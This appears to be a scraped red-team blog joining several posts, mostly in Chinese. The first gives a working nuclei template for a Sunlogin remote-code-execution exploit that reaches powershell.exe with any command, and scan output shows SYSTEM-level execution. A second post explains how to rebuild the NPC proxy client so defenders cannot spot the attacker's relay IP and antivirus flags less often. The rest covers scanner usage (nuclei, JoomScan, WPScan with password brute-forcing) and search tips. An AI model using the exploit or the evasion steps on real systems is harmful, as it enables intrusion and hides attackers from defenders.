How to use nuclei to rce with any command
How to use nuclei to rce with any commandA few weeks ago, I realized that we can use nuclei to rce with any command. You know, nuclei is a fast and customisable vulnerability scanner based on simple YAML based DSL. We can find a lot of vuls through nuclei.There are some flags to achieve specific function in nuclei, Such as: -dresp, -V.some Flags-dresp flag can show all received responses for all templates.-V flag can customize vars in key=value format.nuclei templatethere is a flag(variables) which can be used to customize vars in nuclei template. For example:id: sunlogin_rce info: name: 向日葵RCE author: Xc1Ym severity: critical description: 通过该链接可以执行命令 metadata: max-request: 2 verified: true fofa-query1: body="Verification failure" fofa-query2: app="向日葵-远程控制" tags: rce variables: cmd: "ipconfig" http: - raw: - | GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 Host: {{Hostname}} - | GET /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+{{cmd}} HTTP/1.1 Host: {{Hostname}} Cookie: CID={{cid}} extractors: - type: json part: body internal: true name: cid json: - '.verify_string' matchers: - type: dsl dsl: - "status_code_1==200" - "contains(body_1, 'verify_string')" - "status_code_2==200" - "contains(body_2, 'Windows IP')" condition: and # digest: 490a0046304402200b08d3b3306a25fe78dc7485bc5f3f766a1189738e6d89ae775afa9ed4d3f1d1022002274e233fe7383a0c9e87f6c09ddbdad543c653e6d0592d813e76c7235eae57:ac885261be3fdd93c33050b022a2b6f1We have set the default value for cmd parameter to ipconfig. If we wish to change it to whoami, we can use -V flag. And we can also use -dresp flag to show all received responses for all templates, if we know that the IP are vulnerable.PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx __ _ ____ __ _______/ /__ (_) / __ \/ / / / ___/ / _ \/ / / / / / /_/ / /__/ / __/ / /_/ /_/\__,_/\___/_/\___/_/ v3.0.4 projectdiscovery.io [WRN] Found 12 template[s] loaded with deprecated paths, update before v3 for continued support. [INF] Current nuclei version: v3.0.4 (outdated) [INF] Current nuclei-templates version: v9.6.9 (latest) [INF] New templates added in latest release: 73 [INF] Templates loaded for current scan: 1 [WRN] Executing 1 unsigned templates. Use with caution. [INF] Targets loaded for current scan: 1 [sunlogin_rce] [http] [critical] http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfigUse dresp to show the received responses.PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx -dresp __ _ ____ __ _______/ /__ (_) / __ \/ / / / ___/ / _ \/ / / / / / /_/ / /__/ / __/ / /_/ /_/\__,_/\___/_/\___/_/ v3.0.4 projectdiscovery.io [WRN] Found 12 template[s] loaded with deprecated paths, update before v3 for continued support. [INF] Current nuclei version: v3.0.4 (outdated) [INF] Current nuclei-templates version: v9.6.9 (latest) [INF] New templates added in latest release: 73 [INF] Templates loaded for current scan: 1 [WRN] Executing 1 unsigned templates. Use with caution. [INF] Targets loaded for current scan: 1 [DBG] [sunlogin_rce] Dumped HTTP response http://xxx/cgi-bin/rpc?action=verify-haras HTTP/1.1 200 OK Content-Length: 87 Cache-Control: no-cache Content-Type: text/html {"__code":0,"enabled":"1","verify_string":"xxx","code":0} [DBG] [sunlogin_rce] Dumped HTTP response http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfig HTTP/1.1 200 OK Content-Length: 750 Cache-Control: no-cache Content-Type: text/json Windows IP ���� ��̫�������� ��̫��: �����ض��� DNS ��׺ . . . . . . . : �������� IPv6 ��ַ. . . . . . . . : xxx IPv4 ��ַ . . . . . . . . . . . . : xxx �������� . . . . . . . . . . . . : xxx Ĭ������. . . . . . . . . . . . . : xxx ���������� isatap.{xxx}: ý��״̬ . . . . . . . . . . . . : ý���ѶϿ����� �����ض��� DNS ��׺ . . . . . . . : ���������� Teredo Tunneling Pseudo-Interface: �����ض��� DNS ��׺ . . . . . . . : IPv6 ��ַ . . . . . . . . . . . . : xxx �������� IPv6 ��ַ. . . . . . . . : xxx Ĭ������. . . . . . . . . . . . . : :: [sunlogin_rce:dsl-1] [http] [critical] http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfigUse -V to customize vars. We can watch the nuclei executed whoami and show the result.PS C:\Users\qaxnb> nuclei -t D:\note\private-nuclei-template\rce\sunlogin_rce.yaml -u http://xxx -dresp -V cmd=whoami __ _ ____ __ _______/ /__ (_) / __ \/ / / / ___/ / _ \/ / / / / / /_/ / /__/ / __/ / /_/ /_/\__,_/\___/_/\___/_/ v3.0.4 projectdiscovery.io [WRN] Found 12 template[s] loaded with deprecated paths, update before v3 for continued support. [INF] Current nuclei version: v3.0.4 (outdated) [INF] Current nuclei-templates version: v9.6.9 (latest) [INF] New templates added in latest release: 73 [INF] Templates loaded for current scan: 1 [WRN] Executing 1 unsigned templates. Use with caution. [INF] Targets loaded for current scan: 1 [DBG] [sunlogin_rce] Dumped HTTP response http://xxx/cgi-bin/rpc?action=verify-haras HTTP/1.1 200 OK Content-Length: 87 Cache-Control: no-cache Content-Type: text/html {"__code":0,"enabled":"1","verify_string":"xxx","code":0} [DBG] [sunlogin_rce] Dumped HTTP response http://xxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami HTTP/1.1 200 OK Content-Length: 21 Cache-Control: no-cache Content-Type: text/json nt authority\systemIn the endIf you want to rce witch any command, you can use variables in your template.And you can also use nuclei to upload webshell and execute commands by webshell.
改造NPC在内网渗透中，代理的使用是必不可少的，因为我比较喜欢用npc这个代理工具，所以本次代理改造就以npc为主。本地编译在微步上，npc被标记为恶意软件，而经过本地编译后，微步仅标记为可疑软件，所以本地编译是非常重要的隐藏npc配置在使用npc时，要么使用配置文件，要么使用参数控制，配置文件和参数都会让防守方非常方便的发现攻击方的攻击中转IP，所以隐藏npc的配置是非常必要的在NPC的Github仓库中，我们主要修改cmd/npc/npc.go文件即可。修改23行~42行中的参数即可。var ( serverAddr = flag.String("server", "", "Server addr (ip:port)") configPath = flag.String("config", "", "Configuration file path") verifyKey = flag.String("vkey", "", "Authentication key") logType = flag.String("log", "stdout", "Log output mode（stdout|file）") connType = flag.String("type", "tcp", "Connection type with the server（kcp|tcp）") proxyUrl = flag.String("proxy", "", "proxy socks5 url(eg:socks5://111:222@127.0.0.1:9007)") logLevel = flag.String("log_level", "7", "log level 0~7") registerTime = flag.Int("time", 2, "register time long /h") localPort = flag.Int("local_port", 2000, "p2p local port") password = flag.String("password", "", "p2p password flag") target = flag.String("target", "", "p2p target") localType = flag.String("local_type", "p2p", "p2p target") logPath = flag.String("log_path", "", "npc log path") debug = flag.Bool("debug", true, "npc debug") pprofAddr = flag.String("pprof", "", "PProf debug addr (ip:port)") stunAddr = flag.String("stun_addr", "stun.stunprotocol.org:3478", "stun server address (eg:stun.stunprotocol.org:3478)") ver = flag.Bool("version", false, "show current version") disconnectTime = flag.Int("disconnect_timeout", 60, "not receiving check packet times, until timeout will disconnect the client") )通常情况下，我会修改第一个参数和第三个参数，在serverAddr = flag.String("server", "", "Server addr (ip:port)")中的第二个引号中填入自己的IP和端口即可，如：serverAddr = flag.String("server", "8.8.8.8:8888", "Server addr (ip:port)")修改完成后直接使用go build npc.go编译即可修改静态特征这个不知道有没有用，我自己感觉是有用的，修改67行~72行，随便把内容修改就可以svcConfig := &service.Config{ Name: "Npc", DisplayName: "nps内网穿透客户端", Description: "一款轻量级、功能强大的内网穿透代理服务器。支持tcp、udp流量转发，支持内网http代理、内网socks5代理，同时支持snappy压缩、站点保护、加密传输、多路复用、header修改等。支持web图形化管理，集成多用户模式。", Option: options, }远程加载配置文件先说一个思路，具体还未实现。上传配置文件到阿里云盘，然后提取直链，通过npc远程加载配置文件，因为阿里云盘的域名是白名单，所以可以绕过一些限制。
Nuclei新版README翻译及用法 Nuclei新增加了一些命令，对新的README进行了翻译，并订正了一些翻译错误 随着更新，Nuclei新增加了很多新功能，之前翻译的那篇README已经不能适应最新的版本，所以时隔一年之久，我打算重新翻译一篇Nuclei的README，目前翻译已经通过PR，Nuclei项目翻译地址 以下为翻译正文： 基于YAML语法模板的定制化快速漏洞扫描器 工作流程 • 安装 • 对于安全工程师 • 对于开发者 • 文档 • 致谢 • 常见问题 • 加入Discord English • 中文 • Korean Nuclei使用零误报的定制模板向目标发送请求，同时可以对主机进行批量快速扫描。Nuclei提供TCP、DNS、HTTP、FILE等各类协议的扫描，通过强大且灵活的模板，可以使用Nuclei模拟各种安全检查。我们的模板仓库包含超过300安全研究员和工程师提供的模板。工作流程 安装NucleiNuclei需要go1.18才能安装成功。执行下列命令安装最新版本的Nucleigo install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest更多的安装方式 请点击此处. Nuclei模板自从v2.5.2)起，Nuclei就内置了自动下载和更新模板的功能。Nuclei模板仓库随时更新社区中可用的模板列表。您仍然可以随时使用update-templates命令更新模板，您可以根据模板指南为您的个人工作流和需求编写模板。YAML的语法规范在这里。 用法nuclei -h这将显示Nuclei的帮助，以下是所有支持的命令。Nuclei是一款注重于可配置性、可扩展性和易用性的基于模板的快速漏洞扫描器。 用法： nuclei [命令] 命令： 目标： -u, -target string[] 指定扫描的URL/主机 -l, -list string 指定需要扫描的URL/主机文件（一行一个） -resume string 断点续扫（将禁用集群） 模板： -nt, -new-templates 只扫描最新版本中添加的模板 -ntv, -new-templates-version string[] 运行在特定版本中添加的新模板 -as, -automatic-scan 在自动web扫描中使用wappalyzer技术检测的指纹 -t, -templates string[] 指定需要扫描的模板或者模板的路径（逗号分隔，文件） -tu, -template-url string[] 从URL加载模板（逗号分隔，文件） -w, -workflows string[] 指定扫描中的工作流或者工作流目录（逗号分隔，文件） -wu, -workflow-url string[] 从URL加载工作流（逗号分隔，文件） -validate 验证通过的模板 -nss, -no-strict-syntax 禁用模板的严格检查 -tl 列出所有可用的模板 过滤： -a, -author string[] 执行指定作者的模板（逗号分隔，文件） -tags string[] 执行有标记的模板子集（逗号分隔，文件） -etags, -exclude-tags string[] 执行标记为排除的模板（逗号分隔，文件） -itags, -include-tags string[] 执行默认或者配置排除的标记模板 -id, -template-id string[] 执行指定ID的模板（逗号分隔，文件） -eid, -exclude-id string[] 执行排除指定ID的模板（逗号分隔，文件） -it, -include-templates string[] 执行默认或配置中排除的模板 -et, -exclude-templates string[] 要排除的模板或者模板目录（逗号分隔，文件） -em, -exclude-matchers string[] 在结果中排除指定模板 -s, -severity value[] 根据严重程度运行模板，可候选的值有：info,low,medium,high,critical -es, -exclude-severity value[] 根据严重程度排除模板，可候选的值有：info,low,medium,high,critical -pt, -type value[] 根据协议运行模板，可候选的值有：dns, file, http, headless, network, workflow, ssl, websocket, whois -ept, -exclude-type value[] 根据协议排除模板，可候选的值有：dns, file, http, headless, network, workflow, ssl, websocket, whois -tc, -template-condition string[] 根据表达式运行模板 输出： -o, -output string 输出发现的问题到文件 -sresp, -store-resp 将nuclei的所有请求和响应输出到目录 -srd, -store-resp-dir string 将nuclei的所有请求和响应输出到指定目录（默认：output） -silent 只显示结果 -nc, -no-color 禁用输出内容着色（ANSI转义码） -json 输出为jsonL（ines） -irr, -include-rr 在JSONL中输出对应的请求和相应（仅结果） -nm, -no-meta 不显示匹配的元数据 -nts, -no-timestamp 不在输出中显示时间戳 -rdb, -report-db string 本地的Nuclei结果数据库（始终使用该数据库保存结果） -ms, -matcher-status 显示匹配失败状态 -me, -markdown-export string 以markdown导出结果 -se, -sarif-export string 以SARIF导出结果 配置： -config string 指定Nuclei的配置文件 -fr, -follow-redirects 为HTTP模板启用重定向 -fhr, -follow-host-redirects 在同一主机上重定向 -mr, -max-redirects int HTTP模板最大重定向次数（默认：10） -dr, -disable-redirects 为HTTP模板禁用重定向 -rc, -report-config string 指定Nuclei报告模板文件 -H, -header string[] 指定header、cookie，以header:value的方式（cli，文件） -V, -var value 通过key=value指定var值 -r, -resolvers string 指定Nuclei的解析文件 -sr, -system-resolvers 当DNS错误时使用系统DNS -passive 启用被动扫描处理HTTP响应 -ev, env-vars 在模板中使用环境变量 -cc, -client-cert string 用于对扫描的主机进行身份验证的客户端证书文件（PEM 编码） -ck, -client-key string 用于对扫描的主机进行身份验证的客户端密钥文件（PEM 编码） -ca, -client-ca string 用于对扫描的主机进行身份验证的客户端证书颁发机构文件（PEM 编码） -sml, -show-match-line 显示文件模板的匹配值，只适用于提取器 -ztls 对ztls自动退回到tls13 -sni string 指定tls sni的主机名（默认为输入的域名） -i, -interface string 指定网卡 -sip, -source-ip string 指定源IP -config-directory string 重写默认配置路径（$home/.config） -rsr, -response-size-read int 最大读取响应大小（默认：10485760字节） -rss, -response-size-save int 最大储存响应大小（默认：10485760字节） 交互： -inserver, -ineractsh-server string 使用interactsh反连检测平台（默认为oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me） -itoken, -interactsh-token string 指定反连检测平台的身份凭证 -interactions-cache-size int 指定保存在交互缓存中的请求数（默认：5000） -interactions-eviction int 从缓存中删除请求前等待的时间（默认为60秒） -interactions-poll-duration int 每个轮询前等待时间（默认为5秒） -interactions-cooldown-period int 退出轮询前的等待时间（默认为5秒） -ni, -no-interactsh 禁用反连检测平台，同时排除基于反连检测的模板 限速： -rl, -rate-limit int 每秒最大请求量（默认：150） -rlm, -rate-limit-minute int 每分钟最大请求量 -bs, -bulk-size int 每个模板最大并行检测数（默认：25） -c, -concurrency int 并行执行的最大模板数量（默认：25） -hbs, -headless-bulk-size int 每个模板并行运行的无头主机最大数量（默认：10） -headc, -headless-concurrency int 并行指定无头主机最大数量（默认：10） 优化： -timeout int 超时时间（默认为10秒） -retries int 重试次数（默认：1） -ldp, -leave-default-ports 指定HTTP/HTTPS默认端口（例如：host:80，host:443） -mhe, -max-host-error int 某主机扫描失败次数，跳过该主机（默认：30） -project 使用项目文件夹避免多次发送同一请求 -project-path string 设置特定的项目文件夹 -spm, -stop-at-first-path 得到一个结果后停止（或许会中断模板和工作流的逻辑） -stream 流模式 - 在不整理输入的情况下详细描述 -irt, -input-read-timeout duration 输入读取超时时间（默认：3分钟） -no-stdin 禁用标准输入 无界面浏览器： -headless 启用需要无界面浏览器的模板 -page-timeout int 在无界面下超时秒数（默认：20） -sb, -show-brower 在无界面浏览器运行模板时，显示浏览器 -sc, -system-chrome 不使用Nuclei自带的浏览器，使用本地浏览器 -lha, -list-headless-action 列出可用的无界面操作 调试： -debug 显示所有请求和响应 -dreq, -debug-req 显示所有请求 -dresp, -debug-resp 显示所有响应 -p, -proxy string[] 使用http/socks5代理（逗号分隔，文件） -pi, -proxy-internal 代理所有请求 -ldf, -list-dsl-function 列出所有支持的DSL函数签名 -tlog, -trace-log string 写入跟踪日志到文件 -elog, -error-log string 写入错误日志到文件 -version 显示版本信息 -hm, -hang-monitor 启用Nuclei的监控 -v, -verbose 显示详细信息 -profile-mem string 将Nuclei的内存转储成文件 -vv 显示额外的详细信息 -ep, -enable-pprof 启用pprof调试服务器 -tv, -templates-version 显示已安装的模板版本 -hc, -health-check 运行诊断检查 升级： -update 更新Nuclei到最新版本 -ut, -update-templates 更新Nuclei模板到最新版 -ud, -update-directory string 覆盖安装模板 -duc, -disable-update-check 禁用更新 统计： -stats 显示正在扫描的统计信息 -sj, -stats-json 将统计信息以JSONL格式输出到文件 -si, -stats-inerval int 显示统计信息更新的间隔秒数（默认：5） -m, -metrics 显示Nuclei端口信息 -mp, -metrics-port int 更改Nuclei默认端口（默认：9092）运行Nuclei使用社区提供的模板扫描单个目标nuclei -u https://example.com使用社区提供的模板扫描多个目标nuclei -list urls.txtExample of urls.txt:http://example.com http://app.example.com http://test.example.com http://uat.example.com更多关于Nuclei的详细实例可以在这里找到对于安全工程师Nuclei提供了大量有助于安全工程师在工作流定制相关的功能。通过各种扫描功能（如DNS、HTTP、TCP），安全工程师可以更轻松的使用Nuclei创建一套自定义的检查方式。支持多种协议：TCP、DNS、HTTP、FILE等通过工作流和动态请求实现复杂的漏洞扫描易于集成到CI/CD，旨在可以轻松的集成到周期扫描中，以主动检测漏洞的修复和重新出现 对于赏金猎人：Nuclei允许您定制自己的测试方法，可以轻松的运行您的程序。此外Nuclei可以更容易的集成到您的漏洞扫描工作流中。可以集成到其他工作流中可以在几分钟处理上千台主机使用YAML语法定制自动化测试欢迎查看我们其他的开源项目，可能有适合您的赏金猎人工作流：github.com/projectdiscovery，我们还使用Chaos绘制了每日的DNS数据。 对于渗透测试：Nuclei通过增加手动、自动的过程，极大地改变了安全评估的方式。一些公司已经在用Nuclei升级他们的手动测试步骤，可以使用Nulcei对数千台主机使用同样的流程自动化测试。渗透测试员可以使用公共模板或者自定义模板来更快的完成渗透测试，特别是漏洞验证时，可以轻松的验证漏洞是否修复。轻松根据您的要求创建标准清单（例如：OWASP TOP 10）通过FUZZ和工作流等功能，可以使用Nuclei完成复杂的手动步骤和重复性渗透测试只需要重新运行Nuclei即可验证漏洞修复情况 对于开发和组织Nuclei构建很简单，通过数百名安全研究员的社区模板，Nuclei可以随时扫描来了解安全威胁。Nuclei通常用来用于复测，以确定漏洞是否被修复。CI/CD：工程师已经支持了CI/CD，可以通过Nuclei使用定制模板来监控模拟环境和生产环境周期性扫描：使用Nuclei创建新发现的漏洞模板，通过Nuclei可以周期性扫描消除漏洞我们有个讨论组，黑客提交自己的模板后可以获得赏金，这可以减少资产的漏洞，并且减少重复。如果你想实行该计划，可以联系我。我们非常乐意提供帮助，或者在讨论组中发布相关信息。 资源使用PinkDraconian发现Nuclei的BUG (Robbe Van Roey) 作者：@PinkDraconianNuclei: 强而有力的扫描器 作者：BishopfoxWAF有效性检查 作者：Fastly在CI/CD中使用Nuclei实时扫描网页应用 作者：@TristanKalos使用Nuclei扫描Nuclei Unleashed - 快速编写复杂漏洞Nuclei - FUZZ一切Nuclei + Interactsh Integration，用于自动化OOB测试武器化Nuclei 作者：@dwisiswant0如何使用Nuclei连续扫描？ 作者：@dwisiswant0自动化攻击 作者：@DhiyaneshGeek致谢感谢所有社区贡献者提供的PR，另外您可以其他类似的开源项目：FFuF, Qsfuzz, Inception, Snallygaster, Gofingerprint, Sn1per, Google tsunami, Jaeles, ChopChop许可证Nuclei使用MIT许可证
How to use Web Search EngineThis is my first time to write in English. If there are any mistakes, please tell me.I write this article after I read How-To-Ask-Questions-The-Smart-Way, maybe it can help you to impove your efficiency when you use web search engine.Web Search Engine?The web search engine I usually use are Google, Baidu, Bing. They are called Full Text Search Engine. They get keywords of information from web site. If you search for a question, web search engine will extract the keywords in your question, and search keywords in database of web search engine. So using keywords to search for answers is faster and more accurate.Use of effectivelyFirst, use keywords to search you question, not interrogative sentence. There are many unnecessary prepositions and adjectives in the question. Usually, I will search for nouns in the question, there's a space between nouns. These nouns I called keywords. Although we can get answers through interrogative sentence, but it get more accurate answers using keywords. Such as keyword keyword keyword.There are many duplicate answers in the content farm of web search engine. A lot of junk information is produced by Content farm, the web search engine can't handle this junk because there are many keywords in content farm. In china, CSDN is a content farm, I use keywords -csdn to search computer knowledge, use -csdn to exclude all answers about csdn, also you can use keywords -baidu to exclude baidu's answers. Using it skillfully can also improve the probability of finding the answer."" is easy to be ignored. Although we use keywords to search, but the keywords can't understood by web search engine, so using "keyword" keyword can help search engines determine the keywords we need. Keyword in the middle of "" will be matched exactlyIf you want to search keywords in title, body or website, you can use intitle:keyword, intext:keyword, insite:keyword.Of course, these skills can be combined. If you want to search an important keyword in the website, you can use "keyword" insite:website
Fofa命令行查询最近做python开发上瘾，写了很多用处不大的脚本，然后突然觉醒了写一个大工程的想法，于是为了熟悉Git操作和一些python的用法，先尝试开发了Fofa的API脚本。之所以选择Fofa这个空间测绘，是因为作为红队一直需要使用各种网络空间测绘来做信息收集，但是Fofa只有网页版，而且Fofa的官方python包已经很早就不维护了，在最新的python3上无法运行，所有就萌生了写一个python脚本来请求Fofa的API获取相关的信息。开发环境使用了5个包：requests用来请求Fofa的官方APIjson用来读取Fofa返回的json数据argparse用来从命令行获取参数和发送的数据base64用来将发送的数据编码未base64prettytable用来将输出的json数据用格式化的表格显示出来使用方法Github上下载解压打开fofa_api.py，在第19和第20行输入Fofa的API所需要的鉴权邮箱和APIKEYpython fofa_api.py -h可以查看使用方法 python fofa_api.py --search 数据或者python fofa_api.py -S 数据可以查询所有可以查询的数据，并返回表格形式的格式化数据 Fofa为了保证API调用的稳定性，建议每次最多查询100条信息，但是都是可以调整的，使用python fofa_api.py --search 数据 --szie 数量即可选择一次最多查询的数量，该数量受限于Fofa会员等级，普通会员是100条，高级会员是10000条虽然可以查询大于100条的数据，但是Fofa每次最多只能返回100条数据，所以Fofa提供了页码功能，使用python fofa_api.py --search 数据 --szie 数量 --page 页码可以选择查询的页码，每一页100条数据python fofa_api.py --rule可以查询Fofa支持的语法
JoomScanJoomScan是一款开源的、针对JoomlaCMS的漏洞扫描器，开源地址：https://github.com/OWASP/joomscan。该扫描器已经内置到Kali发行版，所以该文以Kali内置的JoomScan为例，使用的JoomScan版本为0.0.7JoomScan功能自动化版本检测基于版本的漏洞检测Joomla组件检测(支持1209款热门组件)基于版本的Joomla组件漏洞检测(支持1030+漏洞利用)防火墙检测导出为文本或HTML格式查找常见的日志文件和备份文件常用参数常用参数如图： 关于JoomScan-h或--help查看帮助-v或--version查看版本--about查看作者检测--url或-u检测目标URL--enumerate-components或-ec检测安装的组件-update升级joomscan绕过WAF--cookie设置cookie--user-agent或-a使用自定义的UArandom-agent或r使用随机UA--timeout设置超时时间例子默认扫描joomscan -u www.example.com joomscan -url www.example.com组件检测joomscan --url www.example.com --enumerate-components joomscan -u www.example.com -ec设置cookiejoomscan -u www.example.com --cookie "123"设置UAjoomscan -u www.example.com --user-agent "Googlebot/2.1 (+http://www.googlebot.com/bot.html)"设置随机UAjoomscan -u www.example.com -r设置代理joomscan -u www.example.com --proxy https://127.0.0.1:443例子
WPScanWhat is WPScanWPScan是一款针对WordPressCMS进行安全扫描的、使用Ruby开发的软件。通过WPScan可以扫描到WordPress网站中的用户名、安装的插件、主题，以及存在安全漏洞，甚至可以对一些WordPress网站进行用户名\密码暴力破解当然WPScan并不仅仅只有上面那些功能，它还有以下其他功能：检查备份好的、可访问的wp-config.php文件检查公开访问的数据库转储文件检查暴露的插件错误日志枚举媒体文件检查易受攻击的缩略图(timthumb)文件扫描WordPress自述文件检查是否启用了WP-Cron检查是否启用了用户注册扫描绝对路径检查上传目录列表Installation And UpdatingInstallationKali中自带，所以就不多说了，其他安装方法查看WPcan官方Wiki地址即可UpdatingKali中直接使用apt update && apt upgrade命令即可，更新WPScan的本地数据库可以使用wpscan --update枚举模式在枚举WordPress版本、插件、主题的时候，可以使用三种不同的扫描模式：被动主动混合混合模式会获得更多的结果，但是会造成服务器无法处理大量的请求，如果想减少服务器压力，可以使用被动模式。如果想更改默认设置，则需要使用--plugins-detection参数枚举选项如果要使用枚举功能，请使用-e参数，该参数有如下选项：vp枚举易受攻击的插件ap枚举所有插件p枚举热门插件vt枚举易受攻击的主题at枚举所有主题t枚举热门主题tt枚举缩略图cb枚举备份配置dbe导出数据库u枚举用户ID，例如u1-5m枚举媒体文件ID，例如m1-5如果未对-e参数提供选项，默认值为：-e vp,vt,tt,cb,dbe,u,m常见用法枚举所有用户wpscan --url http://example.com -e u如图： 对扫描到的用户进行暴力破解密码wpscan --url http://example.com -e u --passwords 字典地址(之前的参数--wordlist已弃用)如图： 枚举易受攻击的插件和主题wpscan --url http://example.com -e vp,vt如图： 其他参数这里只说几个我感兴趣的，觉得能在渗透中帮助我的scan允许的协议，支持http和https，默认为http-o输出到文件，后接文件地址-f使用提供的格式输出，支持cli-no-color、json、cli--user-agent或-ua使用指定的UA，后接指定的UA--random-user-agent或--rua使用随机的UA，该参数可能会绕过某些WAF-t最大线程数，默认为5--throttle两个URL检查的时间间隔，单位为毫秒，如果使用，则线程会默认为1--request-timeout设置请求超时时间，默认为60秒--connect-timeout设置连接超时时间，默认为30秒
Nuclei 新版翻译请点击下列链接 Nuclei新版翻译 前几周在 Github 上发现了一个很好用的渗透测试平台，虽然说不如 MSF 强大，但是胜在轻量，安装和使用相比较 MSF 更加方便。苦于没有中文使用方法，于是自己翻译了一下，同时已通过该项目 PR以下为翻译正文：Nuclei 是一个基于模板的、可配置攻击目标的扫描快速工具，同时还提供了强大的可扩展性和易用性。基于模板的 nuclei 被用来发送请求给目标，有着实现零误报的优点，并且可以对已知的路径进行有效的扫描。nuclei 的主要用于在初期的探测阶段快速地对已知的且易于检测的漏洞或者 CVE 进行扫描。如果存在 WAF 的话，nuclei 使用retryablehttp-go库来处理各种错误，并且重新尝试攻击，这也是我们自定义功能的核心模块之一。我们也维护一个具有各个类型的模板的开源库，我们希望你也能贡献一些模板，贡献的这些模板最好是有效的，并且能允许每个人基于你的模板重新构建。查看nuclei.projectdiscovery.io这个网站去学习制作模板的入门知识。目录目录功能安装Nuclei模板用法运行Nuclei排除模板致谢功能 有着易于开发的、简单的、模块化的代码库使用了基于模板的引擎，运行速度极快，可以修改所以配置可以对特殊情况处理、重试、绕过等，可以绕过 WAF智能匹配，零误报安装二进制文件安装二进制文件安装很简单，你可以从Releases页面下载已经构建好的二进制文件压缩包，使用解压工具提取下载的压缩包，并将解压的文件夹移动到 $PATH 目录，就可以直接使用了。Download latest binary from https://github.com/projectdiscovery/nuclei/releases ▶ tar -xzvf nuclei-linux-amd64.tar.gz ▶ mv nuclei /usr/local/bin/ ▶ nuclei -version源码安装nuclei 需要go1.14+才能成功安装，运行以下命令获取 repo▶ GO111MODULE=on go get -v github.com/projectdiscovery/nuclei/v2/cmd/nucleiGitHub 安装▶ git clone https://github.com/projectdiscovery/nuclei.git; cd nuclei/v2/cmd/nuclei/; go build; mv nuclei /usr/local/bin/; nuclei -versionNuclei 模板你可以使用update-templates来下载和更新 nuclei 模板，该命令会从 unclei 的模板库中下载最新版本，这个由社区来维护的库是可以随时使用的。▶ nuclei -update-templates此外您可以根据自己的工作情况或者需求编写模板，请参阅nuclei模板向导去编写自定义模板用法nuclei -h这条命令会显示帮助，以下是 nuclei 支持的所有命令命令描述例子bulk-size每个模板最大并行的主机数(默认25)nuclei -bulk-size 25burp-collaborator-biid使用burp-collaborator插件nuclei -burp-collaborator-biid XXXXc并行的最大模板数量(默认10)nuclei -c 10l对URL列表进行测试nuclei -l urls.txttarget对目标进行测试nuclei -target hxxps://example.comt要检测的模板种类nuclei -t git-core.yaml -t cves/no-color输出不显示颜色nuclei -no-colorno-meta不显示匹配的元数据nuclei -no-metajson输出为json格式nuclei -jsoninclude-rrjson输出格式中包含请求和响应数据nuclei -json -include-rro输出为文件nuclei -o output.txtproject避免发送相同的请求nuclei -projectstats使用进度条nuclei -statssilent只输出测试成功的结果nuclei -silentretries失败后的重试次数nuclei -retries 1timeout超时时间(默认为5秒)nuclei -timeout 5trace-log输出日志到log文件nuclei -trace-log logsrate-limit每秒最大请求数(默认150)nuclei -rate-limit 150severity根据严重性选择模板nuclei -severity critical,highstop-at-first-match第一次匹配不要处理HTTP请求nuclei -stop-at-frst-matchexclude排除的模板或文件夹nuclei -exclude panels -exclude tokensdebug调试请求或者响应nuclei -debugupdate-templates下载或者升级模板nuclei -update-templatesupdate-directory选择储存模板的目录(可选)nuclei -update-directory templatestl列出可用的模板nuclei -tltemplates-version显示已安装的模板版本nuclei -templates-versionv显示发送请求的详细信息nuclei -vversion显示nuclei的版本号nuclei -versionproxy-url输入代理地址nuclei -proxy-url hxxp://127.0.0.1:8080proxy-socks-url输入socks代理地址nuclei -proxy-socks-url socks5://127.0.0.1:8080random-agent使用随机的UAnuclei -random-agentH自定义请求头nuclei -H “x-bug-bounty:hacker”运行 Nuclei运行单个模板这将对urls.txt中所有的主机运行git-core.yaml并返回结果到results.txt▶ nuclei -l urls.txt -t files/git-core.yaml -o results.txt你可以轻松的通过管道使用标准的输入(STDIN)传递 URL 列表。▶ cat urls.txt | nuclei -t files/git-core.yaml -o results.txt?Nuclei 可以接受如下列表的 URL 作为输入，例如以下 URL：https://test.some-site.com http://vuls-testing.com https://test.com运行多个模板这将会对urls.txt中所有的URL运行cves和files模板检查，并返回输出到results.txt▶ nuclei -l urls.txt -t cves/ -t files/ -o results.txt使用 subfinder 运行▶ subfinder -d hackerone.com -silent | httpx -silent | nuclei -t cves/ -o results.txt在 docker 中运行你需要使用nuclei的docker镜像来运行▶ docker pull projectdiscovery/nuclei下载并构建完成后，运行以下命令：▶ docker run -it projectdiscovery/nuclei这将会对urls.txt中的 URL 通过 docker 中的 nuclei 进行检测，并将结果输出到本机的results.txt文件的：▶ cat urls.txt | docker run -v /path/to/nuclei-templates:/app/nuclei-templates -v /path/to/nuclei/config:/app/.nuclei-config.json -i projectdiscovery/nuclei -t /app/nuclei-templates/files/git-config.yaml > results.txt记住更改的模板路径到本机速率限制Nuclei 有多种控制速率的方法，包括并行执行多个模板、并行检查多个主机，以及使 nuclei 限制全局的请求速率，下面就是示例。-c参数 => 限制并行的模板数-bulk-size参数 => 限制并行的主机数-rate-limit参数 => 